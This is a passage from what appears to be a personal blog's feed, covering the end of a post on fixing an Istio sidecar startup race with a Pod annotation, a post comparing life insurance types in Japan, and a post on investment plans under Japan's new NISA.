The former obtains the certificate, and the latter intercepts network calls from the application container(s), wraps them in mTLS and send them to the destination’s sidecar.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;initContainers&lt;/code&gt; start in the order defined in the yaml, and one has to finish before the next can start. Regular &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;containers&lt;/code&gt; on the other hand start in paralell, all at the same time.&lt;/p&gt;

&lt;p&gt;This is where the issue comes from: if our application container starts sending network calls before the istio sidecar container is ready to handle them, these calls will fail.
And if the application can’t handle this failure gracefully, then the whole container can fail.
This should lead to a failing health check, and kubernetes restarting the Pod.
However when the Pod restarts, all of its containers get restarted, so it will likely go into the same failure.&lt;/p&gt;

&lt;h2 id=&quot;the-solution&quot;&gt;The solution&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Set the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;proxy.istio.io/config: &apos;{ &quot;holdApplicationUntilProxyStarts&quot;: true }&apos;&lt;/code&gt; annotation on the Pod&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Pod&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-app&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;proxy.istio.io/config&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;holdApplicationUntilProxyStarts&quot;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;}&apos;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;main&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-app:1.14.2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or on a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Deployment&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;apps/v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Deployment&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-app-deployment&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-app&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;replicas&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;selector&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;matchLabels&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-app&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-app&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;proxy.istio.io/config&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;holdApplicationUntilProxyStarts&quot;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;}&apos;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;main&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-app:1.14.2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Setting this annotation overrides the &lt;a href=&quot;https://istio.io/latest/docs/reference/config/istio.mesh.v1alpha1/#ProxyConfig&quot;&gt;default ProxyConfig&lt;/a&gt; defined in the istio config (override logic described &lt;a href=&quot;https://istio.io/latest/docs/reference/config/istio.mesh.v1alpha1/#ProxyConfig:~:text=This%20can%20also%20be%20configured%20on%20a%20per%2Dworkload%20basis%20by%20configuring%20the%20proxy.istio.io/config%20annotation%20on%20the%20pod.%20For%20example%3A&quot;&gt;here&lt;/a&gt;). The &lt;a href=&quot;https://istio.io/latest/docs/reference/config/istio.mesh.v1alpha1/#:~:text=Boolean%20flag%20for%20enabling/disabling%20the%20holdApplicationUntilProxyStarts%20behavior.%20This%20feature%20adds%20hooks%20to%20delay%20application%20startup%20until%20the%20pod%20proxy%20is%20ready%20to%20accept%20traffic%2C%20mitigating%20some%20startup%20race%20conditions.%20Default%20value%20is%20%E2%80%98false%E2%80%99.&quot;&gt;docs&lt;/a&gt; define the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;holdApplicationUntilProxyStarts&lt;/code&gt; setting as:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Boolean flag for enabling/disabling the holdApplicationUntilProxyStarts behavior. This feature adds hooks to delay application startup until the pod proxy is ready to accept traffic, mitigating some startup race conditions. Default value is ‘false’.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is exactly the solution to our problem.&lt;/p&gt;

&lt;h2 id=&quot;future&quot;&gt;Future&lt;/h2&gt;

&lt;p&gt;The upcoming &lt;a href=&quot;https://istio.io/v1.15/blog/2022/introducing-ambient-mesh/&quot;&gt;ambient mesh&lt;/a&gt; setup will get rid of sidecars, which will likely eliminate this issue altogether.
However at the time of writing this (November 2023) &lt;a href=&quot;https://istio.io/latest/docs/ops/ambient/getting-started/&quot;&gt;ambient mesh is still in alpha&lt;/a&gt; and not recommended for production deployments, so it might be a while until it becomes widespread.&lt;/p&gt;

&lt;p&gt;Also kubernetes released &lt;a href=&quot;https://kubernetes.io/blog/2023/08/25/native-sidecar-containers/&quot;&gt;first-class support for sidecars recently&lt;/a&gt; (in alpha still) which &lt;a href=&quot;https://istio.io/latest/blog/2023/native-sidecars/&quot;&gt;istio already supports&lt;/a&gt;.
This change allows the istio &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;initContainer&lt;/code&gt; to stay alive for the entire lifetime of the Pod, also likely solving this issue.&lt;/p&gt;

&lt;p&gt;Until one of these become stable however, the best course of action is likely to add that annotation (or configure this behavior for the entire mesh).&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>A look at life insurance in Japan</title>
   <link href="https://szabo.jp/2023/11/23/a-look-at-life-insurance-in-japan/"/>
   <updated>2023-11-23T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/11/23/a-look-at-life-insurance-in-japan</id>
   <content type="html">&lt;p&gt;I’m starting a family, so I’ve been recently thinking about life insurance to ensure they won’t have financial hardship if I pass early.
In this article I’ll review what I found.
Please remember that I’m not a professional, and none of this is financial or tax advice.
As always, do your own research.&lt;/p&gt;

&lt;!--break--&gt;

&lt;blockquote&gt;
  &lt;p&gt;Life insurance is a contract between a life insurance company and a policy owner. A life insurance policy guarantees the insurer pays a sum of money to one or more named beneficiaries when the insured person dies in exchange for premiums paid by the policyholder during their lifetime.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;From &lt;a href=&quot;https://www.investopedia.com/terms/l/lifeinsurance.asp&quot;&gt;investopedia.com&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Unless otherwise noted, the comparisons below use me, a 30 years old man as the example.&lt;/p&gt;

&lt;p&gt;There are multiple types of life insurance:&lt;/p&gt;

&lt;h2 id=&quot;1-whole-life-insurance-終身保険&quot;&gt;1. Whole Life Insurance (終身保険)&lt;/h2&gt;

&lt;p&gt;A whole life insurance never expires: you sign a contract, and as long as you pay the monthly premiums (which is usually a fixed amount), you will receive the defined amount at your death.&lt;/p&gt;

&lt;p&gt;Since eventually &lt;a href=&quot;https://youtu.be/FpeZsTo5hZw?si=zONRSrOn4o-RN3WX&quot;&gt;everyone dies&lt;/a&gt;, with this type of insurance the insurance company is guaranteed to pay.
This makes these plans more expensive than other plans, but can allow extra benefits like withdrawing from the policy while still alive or borrowing against it.
(This is based on an &lt;a href=&quot;https://www.investopedia.com/term-life-vs-whole-life-5075430#toc-whole-life-insurance&quot;&gt;American source&lt;/a&gt;, so it might be different in Japan.)&lt;/p&gt;

&lt;p&gt;Looking at &lt;a href=&quot;https://hoken.kakaku.com/gla/sh/hikaku/s=1/301/&quot;&gt;kakaku.com’s comparison for whole life insurance&lt;/a&gt;, the top 1 result pays 2 million yen at death and costs 2,508 yen/month.
Assuming I die at the ago of 80, in the next 50 years this would make me pay 1,504,800 yen.
This is lower than what the insurance pays due to the money loosing value over time (inflation) and as the insurance company likely invests this money.&lt;/p&gt;

&lt;p&gt;The maximum amount &lt;a href=&quot;https://hoken.kakaku.com/gla/sh/hikaku/s=1/301/?DBAmount=10000000&quot;&gt;kakaku can filter for is 10 million yen&lt;/a&gt; which returns a single insurance with 14,620 yen/month contribution.&lt;/p&gt;

&lt;h2 id=&quot;2-term-life-insurance-定期保険&quot;&gt;2. Term Life Insurance (定期保険)&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.investopedia.com/term-life-vs-whole-life-5075430#toc-term-life-insurance&quot;&gt;Term life insurance, as the name implies, is only good for a certain period of time, e.g. 10, 20, 30 years&lt;/a&gt;.
You pay a monthly premium during this time, and if you die during this time, then your beneficiary receives the predefined amount of money.
If the term passes and you are still alive, then the contract ends and you don’t receive anything.&lt;/p&gt;

&lt;p&gt;This type of insurance can be pretty cheap for young people, as most policy holders won’t die during the term, so the insurance company can use all of their contributions to pay out the small amount of people that died.
This insurance also matches my needs better: I want to take care of my family until our kids become independent.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://hoken.kakaku.com/gla/tk/hikaku/s=1/301/&quot;&gt;top result on kakaku&lt;/a&gt; is for 10 years, pays 10 million yen in case of death and costs 1,068 yen monthly.
Note that the whole life insurance for the same amount costs 14,620 yen/month, more than 10 times more.&lt;/p&gt;

&lt;p&gt;As the term increases, the chance of policy holders dying also goes up, resulting in increased monthly costs. For example &lt;a href=&quot;https://hoken.kakaku.com/gla/tk/hikaku/s=1/301/?InsPeriodAge=55&quot;&gt;a 25 year term insurance&lt;/a&gt; (going until I’m 55) would cost 990 yen/month, but only pay 5 million yen (half than the 10 year term).&lt;/p&gt;

&lt;h2 id=&quot;3-income-protection-insurance-収入保障保険&quot;&gt;3. Income Protection Insurance (収入保障保険)&lt;/h2&gt;

&lt;p&gt;This seems to be more common in the &lt;a href=&quot;https://www.citizensadvice.org.uk/consumer/insurance/types-of-insurance/income-protection-insurance/&quot;&gt;UK&lt;/a&gt; and &lt;a href=&quot;https://moneysmart.gov.au/how-life-insurance-works/income-protection-insurance&quot;&gt;Australia&lt;/a&gt;, but not so much in the US.
My understanding is that this is similar to a term life insurance, but instead of paying out a lump sum at death, it provides monthly payments to the beneficiary (usually until the end of the term).&lt;/p&gt;

&lt;p&gt;There is an important concept here called 確定保証期間 (guaranteed coverage period).
Normally these insurances pay the benefit under their term ends, but if you die close to the end of the term, this guaranteed coverage period ensures that the beneficiary receives the benefit for at least this long. For example, if the insurance period is 10 years and you die in the 9th year, but the guaranteed coverage period is 2 years, benefits will be paid for 2 years. If you die in the 7th year, then the benefit is paid until the 10th year, so for 3 years.&lt;/p&gt;

&lt;p&gt;Also some of the income protection insurances will pay you if you become disabled or otherwise unable to work (not only in case of death).&lt;/p&gt;

&lt;p&gt;The major benefit of this insurance is that it maps the need (taking care of one’s family) better, especially if one dies early.
On the other hand, the chances of dying early are pretty low, so the insurance company can keep the fees lower than a comparable term life insurance.&lt;/p&gt;

&lt;p&gt;Again &lt;a href=&quot;https://hoken.kakaku.com/gla/dc/hikaku/s=1/301/&quot;&gt;at kakaku&lt;/a&gt; the top result has a period until 65 (25 years long), has a benefit of 100,000 yen per month and costs 2,072 yen monthly. This has a guaranteed coverage period of 2 years.&lt;/p&gt;

&lt;p&gt;Going for a higher benefit amount, kakaku tops out at 150,000 yen for 3,003 yen (also running until the age of 65).&lt;/p&gt;

&lt;h3 id=&quot;sony-family-income-insurance-ソニー生命の家族収入保険&quot;&gt;Sony Family Income Insurance (ソニー生命の家族収入保険)&lt;/h3&gt;

&lt;p&gt;The income protection insurance seem to cover my needs the best (having a monthly payout until the kids become independent, regardless of when I die), so I looked into it more and found one offering from Sony called &lt;a href=&quot;https://www.sonylife.co.jp/examine/lineup/list/term_assurance/ex02/&quot;&gt;家族収入保険&lt;/a&gt;.
There is no online calculator (one has to signup for an online consultation), but &lt;a href=&quot;https://www.sonylife.co.jp/examine/lineup/list/term_assurance/ex02/plan.html&quot;&gt;their example&lt;/a&gt; has these numbers for a 25 year insurance period, 200,000 yen monthly benefit and guaranteed coverage period of 5 years the permiums are as follows:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;30 years old&lt;/th&gt;
      &lt;th&gt;35 years old&lt;/th&gt;
      &lt;th&gt;40 years old&lt;/th&gt;
      &lt;th&gt;45 years old&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;man&lt;/td&gt;
      &lt;td&gt;4,100 yen&lt;/td&gt;
      &lt;td&gt;5,800 yen&lt;/td&gt;
      &lt;td&gt;8,460 yen&lt;/td&gt;
      &lt;td&gt;12,580 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;woman&lt;/td&gt;
      &lt;td&gt;3,260 yen&lt;/td&gt;
      &lt;td&gt;4,380 yen&lt;/td&gt;
      &lt;td&gt;5,760 yen&lt;/td&gt;
      &lt;td&gt;7,720 yen&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The cost goes up pretty quickly with age which makes sense, as the length of insurance being the same, the end of the coverage gets pushed higher and higher from 55 years to 70 years making it much more likely that people will claim it.&lt;/p&gt;

&lt;p&gt;Sony also has extra discounts for being healthy, along two categories: non-smoker (非喫煙者) and healthy body (優良体).
Their example for this (&lt;a href=&quot;https://www.sonylife.co.jp/examine/lineup/list/pdf/OA06.pdf&quot;&gt;source&lt;/a&gt;, bottom of page 3) assumes starting at 35 years old, 25 year period (so until 60), 250,000 yen monthly benefit and guaranteed coverage period of 2 years:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;Non-smoker with healthy body&lt;/th&gt;
      &lt;th&gt;Non-smoker standard rate&lt;/th&gt;
      &lt;th&gt;Smoker with healthy body&lt;/th&gt;
      &lt;th&gt;Smoker standard rate&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;man&lt;/td&gt;
      &lt;td&gt;6,425 yen&lt;/td&gt;
      &lt;td&gt;7,825 yen&lt;/td&gt;
      &lt;td&gt;7,800 yen&lt;/td&gt;
      &lt;td&gt;9,200 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;woman&lt;/td&gt;
      &lt;td&gt;5,250 yen&lt;/td&gt;
      &lt;td&gt;6,250 yen&lt;/td&gt;
      &lt;td&gt;6,250 yen&lt;/td&gt;
      &lt;td&gt;7,225 yen&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;So both not smoking and passing their healthy body test reduces the premiums by ~15% each, with one passing both saving around 30% (27% for women).&lt;/p&gt;

&lt;p&gt;To buy Sony’s life insurance, one has to have to meet their “Life Planner” (either in person or online) who will assess their situation and (supposedly) recommend the best solution from their portfolio.
&lt;a href=&quot;https://www.sonylife.co.jp/examine/consult/flow/&quot;&gt;On their website they say&lt;/a&gt; that the initial consultation is free and one does not have to sign up to an insurance with them.&lt;/p&gt;

&lt;p&gt;A &lt;a href=&quot;https://hokensc.jp/seimei/syunyu-sonylife#:~:text=%E3%81%A6%E3%81%8F%E3%81%A0%E3%81%95%E3%81%84%E3%80%82-,%E3%81%BE%E3%81%A8%E3%82%81,-%E5%84%AA%E8%89%AF%E4%BD%93%E3%82%84&quot;&gt;Japanese blog&lt;/a&gt; notes that while on price alone Sony is not the best (even with the discounts), but this free consultation (which continues throughout the term of the insurance) can make it a good choice for some.&lt;/p&gt;

&lt;p&gt;(I’m not sure if Sony’s insurance is the best choice, I just happened to look into it more and found the way the premiums change interesting.)&lt;/p&gt;

&lt;h2 id=&quot;my-conclusion&quot;&gt;My conclusion&lt;/h2&gt;

&lt;p&gt;Overall my takeaway is that the Income Protection Insurance (収入保障保険) matches my needs the most, but also that this needs to be considered in a wider life/financial plan:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;many mortgages have a built-in life insurance - so if the owner dies, the remaining mortgage gets cancelled&lt;/li&gt;
  &lt;li&gt;the needs of the extended family. Do you need to support your parents (and others) financially, or could/would they likely step in and help your spouse out if you pass?&lt;/li&gt;
  &lt;li&gt;your and your spouse’s investments - after considering inheritance taxes, how far would these get your family?&lt;/li&gt;
  &lt;li&gt;the income of your spouse (and their income prospect, in case of small kids at the moment)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Considering all of this, you might realize that you don’t really need insurance after all.
And as with all financial decisions, discuss it with your spouse and make a decision together.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Investing plans with the upcoming new NISA</title>
   <link href="https://szabo.jp/2023/11/16/new-nisa-plans/"/>
   <updated>2023-11-16T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/11/16/new-nisa-plans</id>
   <content type="html">&lt;p&gt;From 2024, Japan’s tax-free investment system, NISA, is getting &lt;a href=&quot;https://www.retirejapan.com/nisa/#2024-nisa&quot;&gt;a major overhaul&lt;/a&gt;. Investments made within the system are tax-free (no dividend and capital gain tax), with the only major limitation on yearly and lifetime contribution limits, and that a third of the limits can only be used for mutual funds. This is not a retirement scheme, and there is no penalty for selling early. In this post I will review how I plan to invest from 2024.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;what-to-invest-in&quot;&gt;What to invest in&lt;/h2&gt;

&lt;p&gt;Going with the general advice and the &lt;a href=&quot;https://www.netwealth.com/ourviews/diversification-is-the-only-free-lunch-in-investing/&quot;&gt;“Diversification is the only free lunch”&lt;/a&gt; principle, I’ll continue to invest in low-cost diversified index funds or ETFs.&lt;/p&gt;

&lt;h3 id=&quot;which-index&quot;&gt;Which index?&lt;/h3&gt;

&lt;p&gt;Many people invest in S&amp;amp;P500 (the 500 largest companies of the US), which had exceptional returns in most of the last century as America became the leading economic power in the world. There are similar indexes in other countries (e.g. &lt;a href=&quot;https://en.wikipedia.org/wiki/Nikkei_225&quot;&gt;Nikkei 225&lt;/a&gt; for Japan, or &lt;a href=&quot;https://en.wikipedia.org/wiki/DAX&quot;&gt;DAX&lt;/a&gt; for Germany), and &lt;a href=&quot;https://www.investopedia.com/terms/h/home-country-bias.asp&quot;&gt;some people prefer to invest in companies of their own country&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To me picking a country and hoping that it continues to do well seems like only doing half of the diversification. Will China overtake the US, or will China become the next Japan? Will India or Indonesia be the next China? Will the EU’s or Japan’s economy wake up? I don’t think anybody knows the answer to these questions, especially not at the timeframe I’m investing (majority of it is for retirement 30-40 years from now).&lt;/p&gt;

&lt;p&gt;Thus I invest in index funds or ETFs that track the entire world economy. This way as long as the world economy continues to grow, I will make money.&lt;/p&gt;

&lt;p&gt;Is it possible that this assumption is incorrect? Of course. Population is declining in most advanced economies, and population growth is slowing globally too. The UN &lt;a href=&quot;https://www.un.org/en/global-issues/population#:~:text=Our%20growing%20population&amp;amp;text=The%20world&apos;s%20population%20is%20expected,billion%20in%20the%20mid%2D2080s.&quot;&gt;expects population to peak around 2080&lt;/a&gt; with most of the growth coming from the period until 2050. The world has never seen widespread population decline, so we don’t know how this will affect the economy. However with declining population other investments are also risky: the price of real estate, and precious metals are both driven ultimately by demand, which might decline with less people, and with the ever increasing amounts of government debt, money printing leading to inflation seems also a likely possible future for many countries. So I think that overall investing in the entire global economy is still the best course of action.&lt;/p&gt;

&lt;h2 id=&quot;which-fundetf&quot;&gt;Which fund/ETF?&lt;/h2&gt;

&lt;p&gt;I already looked at the &lt;a href=&quot;/2022/12/27/all-world-etfs-for-nisa/&quot;&gt;existing all-world ETFs in my earlier post&lt;/a&gt;. A few learnings I took since then:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;del&gt;Always invest in yen denominated securities. This is mostly due to how Japanese taxes work: capital gains are taxed at a fix 20%, but forex gains are considered miscellaneous income and taxed at the marginal tax rate (30-40%). Moreover these two being a different tax category, I believe they can’t be used to offset each other. Moreover &lt;a href=&quot;https://info.monex.co.jp/help/us-stock/nisa-caution.html#:~:text=%E3%81%BE%E3%81%9F%E3%80%81%E7%82%BA%E6%9B%BF%E5%8F%96%E5%BC%95%E3%81%A7%E7%99%BA%E7%94%9F%E3%81%97%E3%81%9F%E7%82%BA%E6%9B%BF%E6%90%8D%E7%9B%8A%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6%E3%81%AFNISA%E3%81%AE%E5%88%B6%E5%BA%A6%E5%AF%BE%E8%B1%A1%E5%A4%96%E3%81%A8%E3%81%AA%E3%82%8A%E3%81%BE%E3%81%99%E3%80%82&quot;&gt;forex gains are not tax-free in NISA&lt;/a&gt;&lt;/del&gt;. [edit] I was wrong, this doesn’t matter.&lt;/li&gt;
  &lt;li&gt;If possible, find a fund that reinvests dividends. The new NISA has contributions limits only, but the amount in it can grow indefinitely. Automatically reinvesting dividends thus increases the tax-free investment amount.&lt;/li&gt;
  &lt;li&gt;Stay away from currency-hedged investments. Recently the yen dropped to historical lows against the dollar, so some people are looking at funds that provide currency hedge (e.g. if the S&amp;amp;P500 goes from $4500 to $4950, then the fund’s value in yen will also increase 10%, regardless of the exchange rate change). This sounds good, however it comes at a huge cost that’s often hidden in the fund descriptions. This cost eats into the profit on long time horizons, while currency fluctuation tends to even out in decades.&lt;/li&gt;
  &lt;li&gt;Avoid funds that wrap other funds to limit &lt;a href=&quot;https://retirewiki.jp/wiki/Japanese_global_index_funds#The_triple_taxation_problem&quot;&gt;double/triple taxation&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I found that &lt;a href=&quot;https://emaxis.jp/fund/253425.html&quot;&gt;eMaxis Slim All Country (ｅＭＡＸＩＳ Ｓｌｉｍ 全世界株式（オール・カントリー）)&lt;/a&gt; fits all of these with a low, 0.1144％ yearly fee (this is not too bad even compared to Vanguard’s VT’s 0.07% fee). If you are looking for an alternative, I recommend checking out &lt;a href=&quot;https://medium.com/@retirejapan/japans-best-mutual-fund-lineup-72ebf1500bf5&quot;&gt;the other eMaxis Slim funds&lt;/a&gt; as they are all pretty low-fee, yen denominated, and they all reinvest the dividends.&lt;/p&gt;

&lt;h2 id=&quot;when-to-invest&quot;&gt;When to invest?&lt;/h2&gt;

&lt;p&gt;The new NISA has a yearly limit of 3.6 million yen. Assuming the entire amount is available in January, is it better to invest it immediately or to split it into 12 parts and invest each month?&lt;/p&gt;

&lt;p&gt;These two strategies are commonly referred to as lump-sum investing and (dollar) cost averaging. &lt;a href=&quot;https://investor.vanguard.com/investor-resources-education/news/lump-sum-investing-versus-cost-averaging-which-is-better&quot;&gt;Research finds&lt;/a&gt; that lump-sum investing is a better strategy:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Using MSCI World Index returns for 1976–2022, Finlay and Zorn calculated that LS [lump-sum] outperformed CA [cost  averaging] 68% of the time across global markets measured after one year.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This makes sense: if we expect markets to go up on the long term (which has been true historically for most markets and timeframes), then investing everything early ensures we get all the returns. In other words, while prices fluctuate, in average it is more likely that prices later will be higher than earlier.&lt;/p&gt;

&lt;p&gt;On the other hand this also means that 32% of the times cost averaging was more beneficial and the research also notes:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;But for some risk-averse investors, a CA approach may be more suitable, because it reduces the risk of drawdown or even abandoning their investment plan altogether because they fear large losses.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I understand this as: investing all the money at once, then market drops, feeling bad about it and potentially selling at a loss. While with cost averaging if the market drops after the first investment, one can more easily look at the bright side that next month they will invest at a lower price.&lt;/p&gt;

&lt;p&gt;One other thing to note: some brokerages have campaigns that gives you points for investing using a credit card up to a certain amount (&lt;a href=&quot;https://go.sbisec.co.jp/lp/sbixsmcc_211213.html&quot;&gt;SBI has one&lt;/a&gt; for investing 50,000 yen/month from an &lt;a href=&quot;https://www.smbc-card.com/mem/for_sbi/index.jsp&quot;&gt;SMBC card&lt;/a&gt;). Investing using a credit card sounds like a pretty bad financial decision, but if you can pay it off next month, then it is just free points (which are essentially money).&lt;/p&gt;

&lt;p&gt;So my plan: every month invest only the amount that maxes out any campaign, and invest everything else in January as lump-sum.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>istio-proxy 'NR filter_chain_not_found' / upstream connect error or disconnect/reset before headers. reset reason: connection termination</title>
   <link href="https://szabo.jp/2023/08/10/istio-proxy-hostname-mismatch-error/"/>
